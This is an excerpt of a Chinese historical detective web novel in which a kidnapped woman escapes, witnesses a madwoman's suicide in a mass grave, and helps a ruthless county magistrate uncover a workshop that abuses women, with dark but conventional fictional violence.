《盛世迷踪(探案)》
1. 误入乱葬岗,遇疯女自缢
轰——
闪电飞驰电掣般猝不及防地在天际砸出一道惊响,一瞬间照亮天际,天空好似被撕裂出一道大口,暴雨顷刻而至。
身后的灌木丛中传来沙沙的声音,几个壮汉便从灌木丛中窜出来,望着趴在地上不知生死的女人。
几人面面相觑,为首的刀疤男发话道:“抬回去!要不要还得老大点头!”
“……呃。”
赵疏玉被几人拖行,脑中似有浆糊搅乱她的思绪,晕晕沉沉。
杂草丛生的荒野上坐落着破旧的院子,腐朽的院门连锁都已生锈。
昏暗与寂静的院落墙角处,蜷缩着一个只有微弱的起伏残存,浑身乱遭遭的女子。
她睫翼轻颤,缓缓睁开双眸。
映入眼帘的是一个个神情麻木,眼神空洞地抱团缩在角落里的女子,她们时不时扫上几眼衣衫褴褛,发丝凌乱的赵疏玉。
……这些人是谁?
她们也是和自己一样被拐来囚禁在这里的吗?
赵疏玉有些脱力地扶着稻草堆爬起来后看向唯一没有被钉死的门上去。
然而下一刻门就被几个大汉粗暴地踹开!
刀疤男一脸轻蔑地走进屋子,指着已经清醒的赵疏玉,吩咐道:“那边要个好看的,就她了。”
身后的随从个个持有棍棒,她垂下眼眸,遮掩住眸底的暗色,佯装顺从地跟着他们。
可心下思绪早已飘向远方。
她一定要逃!
赵疏玉被绑在狭小的马车里,外面几人驱使着马车,无暇顾及马车里面的赵疏玉。
她正好偷偷将绳索解开,悄无声息地掀开布幔,观察四周的环境。
月光被乌云团团笼罩,深林昏暗无息,雾气弥漫,经暴雨的洗礼,林中更是雾雾蒙蒙,云雾飘渺。
不好逃。
赵疏玉轻轻放下帷裳,转眼回到马车内,脑中忽有一计!
她拔下发髻上的发簪,紧紧握在手里。
她狠下心眼睛一闭,再后马车震动,车外众人皆一愣。
面面相觑一刹,一人掀开帷裳,看见赵疏玉胸前血衣模糊,惨白着脸色,好似失血过多沉沉晕了过去,他当即变了脸色!
甫一伸手探息靠近,赵疏玉却猛然苏醒,立刻将手中如毒蛇獠牙般,涂抹着剧毒的发簪快而狠地插进他喉中,那人登时断了气。
赵疏玉一脚将他踹出马车。
趁众人尚未反应过来,赵疏玉一个翻身从马车里跳了出来,转身朝林深中跑去。
刀疤男看了一眼地上插着赵疏玉发簪,恶狠狠道:“给我追!”
阴云蔽月,寥寥雾气飘散林中,高矮的灌木丛中赵疏玉不要命地奔驰着,只能依稀辨别出她的残影。
可她却猛然停住了脚步。
一条岔路骤然横在赵疏玉眼前,她停下脚步仔细思忖起来。
左边的道路杂草横生,高大茂密,丛中花苞被豆大的雨珠砸得直不起腰来,一片萎靡之态,显然荒芜。
而另一条道路,鲜草萎靡,软趴趴地嵌在地里。
赵疏玉紧紧蹙着眉头,身后的叫喊声穿透缥缈的雾气,伴随着凛冽的劲风吹进她的耳里。
“赵疏玉在哪儿!”
“死娘们!别跑!”
赵疏玉脸色一沉,看了一眼身后在雾中隐隐约约的人影,她立马撒腿往右边的小道跑去。
但她却发现一丝不寻常的地方。
越往深处走,两边的枸骨生得越发茂密肥大,好似有充裕肥料源源不断地给予养分,枸骨张牙舞爪的尖刺将赵疏玉的双腿划得一片狼藉。
野菊横生,这点明黄一簇一簇地点缀于枸骨,却又很快淹没在荒草中。
她正深想着这丝不对劲,脚底却猛地被一个坚硬的东西绊住,狠狠摔了一跤。
转头一看,地上冷不丁躺着一个骷髅头,两个空洞的眼睛似乎也在阴恻恻地盯着赵疏玉看,凉风吹过赵疏玉的后颈,一片诡谲。
身后的追逐叫唤声似乎早已远去,她淡定地捡起骷髅头继续向前走。
小心地拨开丛丛枸骨后,里面终于吐露出来的场景不禁令赵疏玉呼吸一窒。
尸海堆积如山,靠着出口的尸体尸身尚未腐烂,而越往里头的尸体多多少少都已经被消解得差不多,只留下白骨了。
是乱葬岗。
“安郎?是安郎来了吗?”身后突然响起一声尖锐的声音打断了赵疏玉的思绪。
她转过身,泛着冷意的双眸紧紧追寻那道身影。
女子披头散发,瀑布般的黑发垂于胸前,一双黑黑圆圆的眼睛里似乎被什么迷蒙住了,双目呆滞却充满无尽怨恨。
她手上攥着一根约莫十八公分长粗壮的人骨,微微张着嘴,痴痴地看着来人。
忽然尖叫一声,“你不是安郎!”
赵疏玉紧了紧手上握着的骷髅头,似乎在掂量着自己的胜算有多大。
她温声地回道:“安郎,是你的……情郎吗?”
赵疏玉寻思着古代没有老公的叫法,脑中一闪而过情郎,脱口而出。
但没成想这女子在听到她说“情郎”这个词,好似触发了女子的敏感点,她站在原地尖叫抓狂几声后朝赵疏玉奔来!
她身形细瘦,尖叫着向赵疏玉狂奔过来时真像一只从地狱爬出来索命的厉鬼。
她崩溃地尖叫道:“我永远都出不去……为什么要这么对我。为什么?”
赵疏玉紧紧捏着手上的鼓楼头,铆足了劲把它向女子抓住腿骨的手腕上砸去。
“啊!”女人凄惨一叫。
白骨没入尸海,而女子脸色阴沉,将头发上的一根木簪拔出紧紧攥在手里,以更加恶毒仇恨的眼神看向她,唇边却微笑着,一步步朝赵疏玉走来。
忽笑忽叫,双手战栗无处安放,谨小慎微又惊恐无状,睁大了迷蒙的双眼,歪着头脸上的微笑似乎都快咧到耳后根。
这女子的精神有问题!
看到她这一系列动作,赵疏玉蹙了蹙眉。
凭经验判断这女子应该是精神病。
她以为疯女人的木簪是要扎她,刚伸手准备防御,却见她攥着木簪猛地就往自己的脖子上扎去,大笑着尖叫起来,“他为什么要这么对我!为什么!!”
赵疏玉旋即从疯女人手上夺下木簪,死死握在手里。
“别动。”她将疯女人紧紧按在身下禁锢住,以防她做出毁己毁人的事来。
“他不得好死,不得好死!啊啊啊啊!
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”疯女人姣好的面容如今却只剩下可怖。
赵疏玉看着疯女人幽深的眸底深处一片荒芜与恐惧,眉头微蹙,眼底泛过一团乌墨般的情绪。
“不!——”她凄惨地叫道。
女人忽然惊恐地尖叫一声,而后发狠,使劲将赵疏玉往地上推去!
疯女人拿起地上的白骨,狠狠捅进自己的喉管,赵疏玉连忙从地上爬起来拉住疯女人的手。
却终究晚了一步,眼看着她硬生生将白骨狠狠捅喉管,热血几近喷洒在赵疏玉脸上。
饶是见过那么多大场面的赵疏玉在看到这个疯女人用一根臂膀粗死人的白骨硬生生捅穿喉咙时,不免惊呼一声。
她整个人呆坐在原地,一瞬间热血上涌,心跳极快。
暴雨冲刷着地面,疯女人流下的血与冰冷的尸体随着暴雨的洗礼没入尸海,一片重归平静。
湿潮的空气涌动着,脆化的白骨铺满地面,嘎吱的声响由远及近。
有人来了。
赵疏玉眼眸瞬间一凛,微微侧身,转头往身后找寻那道虚影源处。
来人一件暗红色束腰蟒纹裰衣,腰佩一把落金宝剑,他的手轻轻放在刀柄上,唇边似笑非笑,眼神中更多一丝玩味。
赵疏玉直觉来人十分危险,可她还未站起身,那人便已站到她身边,弯下腰,紧紧扼住她的下巴。
狭长的桃花眼中含情似水,含着的却是一汪深不见底的寒潭,令人触底生寒。
他的嘴角缓缓勾起一抹弧度,语气温和,尾音却透出两分邪气,唇齿翕合,“名字。”
赵疏玉别过脸,叫他的手一下落空,细腻的下颌上留下红印。
“赵疏玉。”她对上他的眸,黑沉的眼中倒映着她的脸。
他嘴角蓦然一笑,没再与她纠缠,直起身看向一旁。
身后倏然出现一群衙役,团团将赵疏玉围在中间。
她缓缓站起身,皱着眉问道:“你是谁?”
李惟初却没理她,只落下一句,“带走。”
赵疏玉止步原地,无视衙役们抽出的刀,再次问道:“你——是谁?”
乱葬尸山遍布,一阵凉风吹来却让人感到阴寒无比,脚底生寒,凉风划破空气的声音像极了鬼哭狼嚎。
李惟初背对着她俯下身,眼眸淡漠地看向疯女人喉中横插着那根粗大的腿骨。
他抬起手抚向腿骨,毫不迟疑的拔出,鲜血迸溅而出,落在赵疏玉白净的脸上。
而李惟初却细细端详着手中的腿骨,眼眸一掀,视线落在她眼睑处的血珠上。
赵疏玉躲过他的视线,垂下眸,眼底满是晦涩。
疯女人死不瞑目,眼神似乎在死死盯着李惟初手上她的凶器。
“走。”他的半张脸隐在阴影里,赵疏玉看不清他的神情,只听到他冷冷地命令着。
她掩下心中思绪,转眼看向那群围着她带她走的衙役。
衙役一身黑色的劲服,腰束红色革带挂长刀,穹劲有力的手握在刀柄上,目不斜视的看着前方。
是官差。
赵疏玉看向前方挺括的背影,心中落定。
但李惟初却并没有将赵疏玉囚禁在马车后头空空的囚笼里,而是让她与他共乘一车。
2. 死前的执念
赵疏玉按捺住心头不时上涌的惑意,坐在宽敞的马车里,余光扫视着周围。
马车中飘来若有似无的沉水香,香气四溢,萦绕在赵疏玉的鼻尖。
可她闻得这香只觉得刺鼻。
闪烁着冷光的利刃忽地横在赵疏玉的脖颈,她一双寒冰似的双眸瞳孔猛地收缩,面上却波澜不惊,只幽幽抬眼望去。
二人谁都不遑退让,相视中似不见刀光硝烟的对决。
“不辩解吗?”他率先开口,利刃依旧抵着嫩白的脖颈,分毫不动。
赵疏玉嘴角也泄出一分笑来,“你想让我说什么?”
李惟初看着她,“你说呢?”
鸦羽般的睫毛垂在眼下,遮掩住他晦涩不明的眼神。
赵疏玉抬手将脖颈间横着的利刃推开两分,“不是我杀的。”
李惟初意味不明的笑了下,“说说?”
“我被人追,慌忙之下逃到乱葬岗,当时那个疯子就在那儿了。她想杀我,我制住了她,随后她就用腿骨刺穿了脖子。”
赵疏玉一顿,目光清明的道:“之后就是你看到的那样。”
李惟初将利刃直直插回刀鞘,眸色微沉,辨不明晰。
“有待商榷。”
这边的路不平,满是碎石,马车碾过难免有些晃动,赵疏玉稳着身形不再多言。
这里并不是争辩的地方。
赵疏玉长舒一口气,往旁边挪去,主动与他拉开距离。
阴云转晴,透过车帘的缝隙,明晃晃的日光溜进来,映在她半张脸上。
被赋予新生的温暖瞬间填满了赵疏玉的内心,她有些片刻的放松。
可心中思绪万千,她默默思考着,有些失神般盯着某处一动不动,连李惟初盯了她好半晌都没觉察。
李惟初突然开口问道,“你被人追?”
赵疏玉一愣,她回过神后抬头看向李惟初那双探究的双眸,老实答道:“是。”
“被何人追?”
赵疏玉从实告知,“我清醒时就已经在一座破落的院子里了。那里全是和我一样差不多大的女子,神情呆滞。后来我被人带走,不过路上却趁机逃了。”
话落,李惟初眉宇骤紧,透出凌厉来,视线从腿骨上转到她身上,“你说,你醒来后是在一座满是女子的院子里?”
赵疏玉嗯了一声,她当时心中便惊然,但碍于形势所迫,只能先行逃遁。
“在哪?”李惟初问的是破落院子的位子,赵疏玉听出来了,“离乱葬岗约莫十里地,大概……在北方。”
李惟初掀开车帘,对着马车旁的衙役耳语,他才转回身,车外便有策马而去的动静。
他没再开口问别的,赵疏玉看了他一眼,他的脸色可阴沉得紧。
马车行行复行行,不过一炷香不到的时间,她就被几人架着带到公堂上,两旁的衙役对立着,堂鼓被敲响。
赵疏玉直挺着身子,目光丝毫不惧地看着上首穿着官服的李惟初。
应巡着章程,李惟初朝下方的女子问道:“堂下何人?”
“赵疏玉。”
“哪里人士?”
“不知,从小无亲无故,只是孤女一个。”
李惟初大马金刀地坐在桌案前,看着面前放着的沾着血的腿骨。
赵疏玉心下惴惴,垂着眸子等他的下言。
不知何时,几道身影从堂下掠过,为首的那人从怀中掏出裹紧的帕子,在李惟初耳边低声说着什么。
李惟初神色不变,将裹紧的帕子掀开。
只听一声脆响,赵疏玉抬眼朝地面看去,那里被扔了一支沾了血迹的簪子。
赵疏玉瞳孔猛地一缩,但她低垂着头,没叫人看了去。
李惟初的声音响起,“这个,你作何解释?”
赵疏玉瞳孔猛地一缩。
她低眉思忖半刻后平静地掀开眼皮,抬头说道:“这确实是我的簪子,不过是逃跑时掉落而已,这并不能成为指控我的罪证。”
“……毕竟,谁也不能保证,不是有心之人的栽赃陷害。”
而李惟初则高坐堂上,一手撑着下巴微微抬了抬,座下的县丞立时横眉,“荒诞无稽!陷害你?人家凭何要陷害你一个手无缚鸡之力的女子!”
“这分明是欺瞒!”
话音刚落,立在堂中的两排官差立时捯饬着手中棍棒,口中低沉却极为压迫地缓缓吐出“威武二字。
李惟初自始至终只是很冷漠地盯着她看,似是将这一切看透,只待赵疏玉自投罗网。
“验尸。”
他亲吐两个字。
赵疏玉正想着他为什么不再逼问她。
旁边的县丞虽一头雾水却也按命令吩咐底下仵作去验尸。
在这漫长焦灼的等待时间里,朝阳如熊熊烈火烤炽着赵疏玉的心。
而她心中的思绪越不安,头脑便越发清晰。
她一抬头,就猛地和李惟初冰冷而又漠然的眼神对视,那一双眸中似冰冷刺骨的寒潭,又似高深危险的深渊,似乎能将赵疏玉拉入渊底。
他有意无意地用指尖一下一下落在桌面上发出轻微的“啪嗒”声,而这每声都似乎敲打在赵疏玉的心上。
她心底乱作一团,面上却不动声色地从他探究的眼神中挣脱出来,看向地面上那沾染血迹的发簪。
那是她的发簪。
是她为了逃出马车,亲手刺进了那人的脖子里。
“县令。”
她心下正思索该怎么摆脱嫌疑的时候,却又听闻李惟初在堂上轻微地笑了一声。
声音很轻,却充满戏谑,他居高临下地瞥了赵疏玉一眼,对身边上来禀报的仵作说道:“带上来。”
那人顺从地领命后,不多时门外便出现四个抬着白色担架的官差。
两个担架放在赵疏玉眼前,上头的男人唇边似笑非笑,他朝底下的人挥了一下手,尸体上的白布瞬间被揭开。
疯女人那张惨白的脸与干涸了血迹空洞的脖子,一片惊悚。
而旁边那个,就是赵疏玉刺死的那个绑架犯!
她拳头暗暗紧了紧,须臾她抬起头面色平常,似乎没有一丝惊慌。
抬眸坦然相对,“县令这是不信我?”
县丞瞪眼指着她,一瞬间又要骂,却被李惟初横来阻断,清冷的声音似冬日里凛冽的寒风,令人生寒。
而赵疏玉却是面容平静,丝毫不惧。
他道:“伸手。”
见她没动,两名官差想要上前将她压制。
赵疏玉漆黑的眼眸转了转,没等官差压人便伸出手。
赵疏玉右手的虎口处有一道浅浅的伤痕,掌心也有一道不为人察觉细长的划口,血珠早已干涸。
这伤痕再结合木簪上的木柄,与染了血迹的曲形蝴蝶,似乎已成铁证。
李惟初仍是这样唇边勾着极淡的微笑盯着她看。
赵疏玉拿起那根发簪,仔细看了看,却轻笑一声将它丢弃,随意道:“不过是个没用的发簪而已,就想定我的罪?县令破案还真是草率。”
李惟初眯了眯眼,看向她的目光却是不屑。
他只一
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掀眼,县丞立时会意,伸手一招又上来几个官差,手里无一不拿着可怖阴森的刑具。
赵疏玉瞥了一样,笑着问道:“李县令这是想……屈打成招吗?”
他却始终不发一言,只微一抬手将手下仵作递给他的验尸纸单扔在赵疏玉身前。
赵疏玉看完后,脸色微微有些凝重。
李惟初终于展颜,可脸上的笑容却阴冷无比,“本官向来随性宽和,如严刑逼供般狠辣的手段,本官自是不愿让姑娘承受……毕竟狱中酷刑何止百种,只任意一种用在姑娘身上,你这辈子可就,废了。”
他说最后两个字时,似是有意停顿,语气柔和轻缓却无一不透露着极浓重的威胁与压迫。
他微一抬手,底下一个官差便上前,捏住赵疏玉的指尖,手中拿着一根细长尖锐的针,针尖冒着阵阵悚然的阴气,恶意地叫嚣着想往赵疏玉细嫩的柔夷中钻去。
“你什么都知道,还想让我说什么。”
赵疏玉看着离自己越来越近的针尖,朗声戳破他内心的秘密!
“隐瞒。”李惟初终于站起,清风明月般缓缓走下台阶,周身却满满的疏离与压迫。
他走到赵疏玉的面前,捏起她的下巴,眸中一团浓墨般晦暗的神色。
“本官问你最后一遍,他们,是不是你杀的。”
虽是问句,可语气却是毋庸置疑。
赵疏玉敢肯定,她如果再说一句谎话,以他的阴毒狠辣,绝对会被他活活折磨死!
她抬起头,眸中却并不惧意,她沉声到只有他们两个人听得清的声音道:“我是杀了他,但疯女是自杀,我会证明给你看。”
她紧跟着又解释道:“那个人,是他们逼迫绑架我在先,他们不仁,我凭什么要有义?难不成等我活活被他们害死,我还得对他们感恩戴德说谢谢吗!”
这语气中嘲讽意味十足,似在指桑骂槐,说李惟初不懂断案昏官。
“还真是有血性。”
李惟初不知有没有听出来她的弦外之音,只皱了皱眉后放开了钳制她下巴的手。
他的眼中闪烁过一抹难以察觉算计的精光,若无其事地问她道:“那你再说,这女子为何要自尽,绑架你的又是什么人呢?”
赵疏玉垂眸看向这地上的尸体,刚好错过李惟初眸中一闪而过的精光,她思忖权衡后说道:“疯女人死之前有提过‘安郎’这个名字,或许可以从这个姓氏下手来查出逼疯女子的凶手。”
她的目光又转到绑架她的男子身上,摇了摇头,“他只是绑架我的其中一个人而已,身上无任何特殊性标志,也不知道他叫什么名字,要查他身后的势力,想必十分棘手。”
李惟初晦暗的眸光闪了闪,他示意那群拿着刑具的人退下,而后亲自将赵疏玉扶起身。
“瞧姑娘这苍白的脸色,都是李某不好,不该吓唬娘子,还请娘子恕罪。”
他冷情的眉间挤弄出一丝歉意,可眼眸飘起一层柔光,可眸底却仍是冰冷无波。
他转眸看向身后的县丞,状似无意地问道:“县丞,你可知罪?”
那县丞闻言战战兢兢站起身,而后立马脚底灌铅似的跪了下来,身躯一个劲发抖。
“杖毙。”
轻描淡写的几个字,决定了县丞的命运。
在县丞声嘶力竭的嚎叫请罪之下,李惟初没有丝毫动容,双眸只紧紧盯着赵疏玉看,似乎想从她的眼底中看到一丝畏惧。
可是没有。
赵疏玉的眼中依旧还是一汪清泉,平静无波。
惧意,一丝都没有。
3. 疯女只是一个开端
李惟初的道歉对于她来说就跟放了声屁没什么区别,她并不领情。
她抬了抬下巴,示意道:“这两个人,你想怎么处理。”
“你现在有两个选择。”李惟初眉间的那抹歉意刹那间消失无影,刹那间被一抹阴鸷替代。
“选择?”赵疏玉只觉得他这话说得搞笑,她如今是砧板上的鱼肉,任人宰割,她有什么资格做选择。
不过她倒是想看看这位李县令能提出什么天理不容的条件来。
“第一,你失手杀人,以大吴律法以命抵命,你即刻行刑。”
赵疏玉眯了眯眼,这不就是明摆着让她选第二个条件吗?
也不知道先给甜枣再打巴掌,还真是先兵后礼。
“第二呢?”
李惟初的眼神如刀锋般凌冽地向赵疏玉扫来,眼底略过一抹阴鸷之色,拧过她的脸迫使她看着自己,以一副上位者的姿态,“顺从于我。”
“为什么?”赵疏玉逼问他。
而李惟初却紧紧抿着唇,一字一字地吐出,“回答我。”
“我有选择的余地吗?”赵疏玉看着他,目光沉静、清冷,让人捉摸不透。
“很好。”李惟初点了点头,“半个时辰。”
他轻轻拨了一下赵疏玉鬓边垂落下来散乱的发丝,上下淡漠地扫了一眼她浑身破洞烂衣。
而后直直朝前走去。
赵疏玉的袖底下紧紧攥着那根疯女人的木簪,顺着纹路摸到木簪上绽放着一朵栩栩如生的桃花。
她被人领到一座小院,院中小厮恭敬地给她送上来一套黑红色劲衣,还差了一个奴婢来给她梳发髻。
略施粉妆,这奴婢的画技十分高超,竟越画越不像个女人,倒像位鲜衣怒马的少年,春风得意。
又给她束了男子高扎发的发型,几缕额前碎发披落,倒更衬得她恣意潇洒,狂放不羁。
像个未经世事的小将军,而眸中的沉静之色非但没有让她变得成熟稳重,而是更显疲惫。
受人胁迫,依附他人存活的菟丝花,又怎会畅快潇洒!
可她私心里也想查明逼疯女人的真凶。
无论是曾经还是现在,她都会义无反顾为民谋福。
不稍片刻赵疏玉便出现在李惟初面前。
他倒是神色淡淡看不出什么,只是随意瞥了她一眼后径直往前走去,赵疏玉跟在身后。
好想刺杀眼前这个人。
衣袖里紧紧握着木簪的手紧了紧。
可一出县衙,人来人往,络绎不绝,街上之人如过江之鲫,鱼龙混杂,却又莫名和谐,一片热闹。
她按了按手中的发簪,这一微小的动作却被李惟初看在眼里。
赵疏玉刚落座在马车里,李惟初顷刻俯身倾覆而来。
他一把攥住赵疏玉握住木簪的手腕,冰如蛇腹般的目光投射而来,他手指一根根地将赵疏玉手腕里紧攥的木簪给掰开。
仔细端详片刻,他一把扔开赵疏玉。
“就凭这个,杀得了我吗?”他重又坐了回去,端直腰背闭目,连看也不看她一眼,淡淡道,“你最好别再有什么心思,否则我会让你比死还难受。”
他紧紧攥住那根木簪,就像是在死死捏住赵疏玉的喉咙,狠辣果决,干净利落。
赵疏玉心中计谋被他戳破,却一点也没恼,轻声道:“这是疯女人的发簪……”
“这发簪上的桃花好像不是寻常绒花,也不是钻石水晶一类,倒像是……玻璃。”
李惟初垂眸,伸手摸了摸这桃花上的纹路。
心中生疑。
他鸦羽般的睫毛掩下他眸中低沉的眼神,缓缓吐口,“江南三家药玉坊,没有一位郎君姓安。”
赵疏玉皱眉。
李惟初将她的埋头苦思的表情尽收眼底,冷冷道:“怎么,知难而退了?”
赵疏玉摇摇头,问了一个让人几乎惊掉下巴的问题,“药玉坊是什么地方?”
马车内似乎寂静一瞬,空气中似乎裹挟着李惟初身上的冷香连带着空气都冷了半分。
赵疏玉却是不解,不过从身份上也说得通。
她是孤女啊,从小穷乡僻壤里出来的,没见识很正常。
李惟初却不回答她了,赵疏玉也并没有在“药玉坊”上纠结太多时间,因为她知道李惟初一定会去。
她在琢磨李惟初口中“药玉坊并没有郎君姓安。”
那就只有三种可能:一,药玉坊主人姓安,却冒名骗了疯女人;二,他是顾客,登记取走玻璃做木簪上的桃花给疯女人;三,疯女人自己去拿的发簪
而赵疏玉却觉得第二三种的可能性更大。
李惟初雷厉风行的狠辣手段下,谁敢冒名开店?想必不消半日,他就被判了无期徒刑。
而赵疏玉也将这两种可能告诉李惟初,听罢,他从牙缝挤出一抹阴笑,十分可怖。
“胆敢在我手底下冒名,我保准让他比死还痛苦。”
赵疏玉心底冷笑一声,果断排除第一种可能。
而马车行至一处府邸,非是药玉坊。
府邸宽大明敞,一入府两侧便是齐齐的牡丹花,十分炫彩夺目。
在走进大厅之前,李惟初对赵疏玉道,“止步。”
而后他便独自进去,打开左侧的门走了进去。
赵疏玉并不想听人墙角。
知道得越多死得越快。
可屋中却传来一阵清脆的瓷碎声。
随后便听到里头刻意压低了愠怒的骂声。
而李惟初只是淡淡地答道:“……吏部尚书……安排……”
赵疏玉断断续续听到这几个字后果断转身出府。
不能再听下去了!
李惟初许久不出来,赵疏玉也没心思等他,问路人“药玉坊”在什么地方后,徒步走了过去。
不消半刻钟便到了。
一个狭窄的门上刻了一块牌匾,歪歪扭扭地写了三个奇丑无比的大字。
药玉坊。
赵疏玉不动声色地皱了皱眉,抬步走了进去。
门庭冷落,落叶遍地,里头的人懒怠缷工,懒懒散散地横七竖八躺在地上。
只一个妇女洒扫院落。
赵疏玉立刻走上前,问女子道:“你们这里是做什么的?”
女子偏过身子,露出身后的器具。
各种大大小小落满灰尘的炉子,炉子旁边竖着几块大玻璃,几张瘸了脚的木桌和木凳上都有细碎的玻璃渣。
萧索。
赵疏玉脑中飘过一个词。
她心下疑惑地走上前,道:“怎么这么荒凉?没生意吗?”
话音刚落,一个男子腾地从地上暴起,他额上青劲凸起,骂道:“要不是因为她,我们家的生意怎么会变成现在这样!”
赵疏玉敏锐地嗅到里面有重要的线索,她走到那人面前,掏出一袋银子,道:“发财梦就在眼前,就看你会不会把握了。”
这些人见到这袋银子两眼放光,眼前的男人两眼放光一把将银子夺在手掌心里,点头哈腰道:“是是,都听公子的,但请公子吩咐。”
赵疏玉点了点头,开始进行她今日来的目的。
“我的这位朋友平日里见惯金银珠宝,又吃遍珍馐美馔,她喜爱首饰,却总是黄金钻石千篇一律,实在腻味,不知你们可有办法逗她欢心?”
赵疏玉的脸上扬起一抹灿烂的笑容,这一窝男人直直看呆了眼睛,一个男人连忙接道:“这个当然!不过还请公子明日来取,届时自有惊喜送与公子。”
赵疏玉点了点头,转身离开时,旁边的妇人冲她微微摇头。
她将妇人的神情尽收眼底。
心中正思索妇人神情中的意味,却一个不注意撞到某个人的胸膛里,肆意张狂的沉水香入鼻,赵疏玉皱了皱眉。
抬头撞正进李惟初的漆黑的深渊里。
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赵疏玉缓缓吐出两个字,“明日。”
“安郎,本名安陵。”李惟初轻声道。
赵疏玉眼睛一亮,“他可在何处?”
“死了。”李惟初平静地看着她。
“被谁所杀?”
李惟初不说话,可答案都在各自心中。
“你明天带些人手埋伏起来。”赵疏玉在马车中道。
“做什么?”
“抓人。”
李惟初看向她泰然自若品茶的侧颜,眼神中不禁升起一抹异色的玩味。
而那药玉坊妇人临行前晦暗不明的目光和摇头,赵疏玉也终于明白她在担心什么。
那些人连夜打造出一根晶莹剔透,无可挑剔的玻璃簪子,递给赵疏玉的那一瞬间,一股奇异的香味萦绕在她的鼻尖,她眼前模糊,瞬间便软倒下去。
接着便听得那群男人邪笑道,“呵!一介女子也敢装扮成男儿身!真当咱们这青楼窑子是白混的……”
赵疏玉的头有些晕,而那些人奸/淫地笑着往她的身上扑去。
而在庭院中洒扫的妇女不知怎么,鼓足全身的勇气尖叫着提起扫把,朝他们打去。
赵疏玉陡然咬牙,额头冒着薄汗一脚踢翻木桌,李惟初埋伏在外的官差瞬间倾巢出动将他们打了个措手不及。
那妇人毫无疑问地也被抓走。
玻璃簪子作为物证被李惟初扣了下来。
赵疏玉迷迷糊糊,脸上泛起潮红,喘着粗气软倒在李惟初的怀里。
他周身凛冽的冷香包裹住赵疏玉,肆意张狂,充满攻击性。
她闻着这刺鼻的沉水香,竟觉得有些安心。
再醒来时,外界早已天翻地覆。
陡然响起几声轻缓的敲门声,外头的侍婢道:“姑娘若是醒了,县令传姑娘过去呢。”
赵疏玉略有些头晕地从床上爬下来,开门跟着婢子一路走到人烟寥落的地方。
牢狱。
她被引到李惟初的身后,婢子恭顺地退下,赵疏玉不会行礼,自然而然地走到李惟初的身边。
他周身散发着淡淡的冷香,不像那日那般张扬,也毫无攻击力。
“该审的都审出来了。”李惟初淡淡道,目光却依旧停留在那群脸色昂扬,毫不知错的男人身上。
而赵疏玉也顺着他的目光看过去。
李惟初垂下眸,身边只有赵疏玉一人,他语气也不似往日那般狠戾,敛眸道:“他们明面上是药玉坊,实则藏污纳垢,不知祸害多少女子……沈怀夕,是那个疯女人的名字。”
他淡淡的说着,神色中竟有些悲伤,但瞬间就隐藏在一团乌墨之下,叫人看不清晰。
“安陵生性好赌,欠了坊主一百两白银。他把沈怀夕典给坊主八年,受尽屈辱而归。”他顿了顿,喉中似有哽咽,任他再怎么藏,赵疏玉还是听出来了。
她有些震惊地看着李惟初。
仿佛感情在他身上是一件十分不可思议的事情。
“药玉坊的人看中沈怀夕的美貌,他们一人给安陵五两和他达成一致,安陵将沈怀夕骗进来之后,亲眼目睹她被这十个人……”
赵疏玉紧了紧袖下的拳头。
她叹了口气,似是在哀悼古代的女子命运坎坷,一生都系在夫家身上。
成也夫家,败也夫家,实在可悲。
可她猛然想起什么,连忙问李惟初道,“可你杀了县丞一事,若是被有心人参了上去……”
李惟初摇了摇头,目光遂又恢复成一片冷清,不近人情的模样。
“他,非死不可。”
李惟初直直看着她的眼睛,眸中杀意迸现,“他是卧底。”
‘卧底?’
赵疏玉原本还有些发胀的头脑瞬间清醒。
“是谁的卧底?”
她抬起头,定定地与李惟初对视。
心下隐隐觉得疯女此事,似乎只是一个开端。
4. 暗访赌场
李惟初低低地笑了一声,一挥袖袍转身离去,平地起一阵清风,却不裹挟任何泥泞。
他没有回答她。
赵疏玉袖底下的手紧紧握着,目光重聚回那群/奸/恶之人上。
她的脚步声回荡在阴暗潮湿的牢中,慢条斯理却富有节奏。
她面色平静地看着他们。
个个垂头丧气地窝在牢笼里,浑身刑痕,口角血丝流淌。
“安陵是谁?”
赵疏玉不急不缓地开口,颇有些居高临下地看着他们。
为首的男人在看见赵疏玉第一眼后“腾”地站起身,目眦欲裂仿佛是恨极了她!
“你个死娘们!都怪你!都是你害了我们!”
他向赵疏玉一瘸一拐地奔来,伸出手想死死扼住赵疏玉的脖子,把她一同拉入地狱。
而赵疏玉却连眼皮也没抬一下,迅疾将他伸来的右手腕紧紧攥住,向后一折,狠狠踹了一脚他的膝盖,把他制服在地。
“别动。”她淡淡地看着这个不怕死的人。
而后看了一眼身后蠢蠢欲动的众人,警告道:“我下手没轻重,不小心弄死了你们可别怪我没提醒过你们。”
说着,她又将那人的手臂狠狠往后折了一下,那人痛苦的叫声回荡在整个大牢里,余下之人皆吓得静若寒蝉,缩在角落里不敢吱声。
“安陵,是谁?”
被她压制在身底下的那人歪嘴鄙视地笑道:“他?他就是个见钱眼开不要命的赌徒!为了五十两银子就能把沈怀夕那小娘们……啊——”
众人看见赵疏玉一点都不留情,凶狠的动作令他们浑身一颤,个个往里缩地更厉害,嘴唇上下发抖。
“你个死娘们,要不是李县令来得及时,你以为你就好到哪里去了吗!”
他恨恨地呸了一声,“恐怕早就被我们兄弟几个轮流问候了个遍,说不定也跟沈怀夕……啊!——”
只听“咔嚓”一声,他的胳膊就这么软绵绵地掉了下来,以一种无法言明的角度扭曲在背后,而赵疏玉又问道,“他为什么会欠坊主一百两这么大的数目?”
他吐出一口血沫,呸了一声道:“既尝到了甜头又哪有不赌下去的道理?他还妄想着靠赌发家致富呢!只可怜那沈怀夕……”
见赵疏玉的眸光一凛,手下似又要动作,他连忙接着,“明明是官家小姐,却跟了这么个生性好赌的人,科考没考上,又败光了她的嫁妆,还将她典给刘坊主。好容易凑够了钱财给安陵将她赎回来,就又被五十两银子……”
“也怪这女子义愤填膺,不顾父母阻拦非要嫁,结果呢?”他呸了一声,“门庭败落,自己也疯了,这都是怪她自己蠢自己傻,难道还要怪我们毁了她吗?”
听了半晌,赵疏玉放开了他,站起身理了理弄乱的衣袖,冷冷地看着他,就像是在看一个死人的表情。
“沈怀夕脖子上的伤也是你做的?”
李惟初曾在堂上给赵疏玉看过那张验尸单,沈怀夕的喉处不仅有白骨洞穿的痕迹,还有被尖锐物品刺过的痕迹,只是疤痕淡去不明显。
他却露出一瞬间迷茫,“小娘子的皮肤细嫩滑软,便是坏了一分我们这些个粗大汉也看不上啊!”
赵疏玉紧握着拳,沉闷着脸。
在他恬不知耻地说完这一句话之后,赵疏玉抬起手一拳抡在他的脸上。
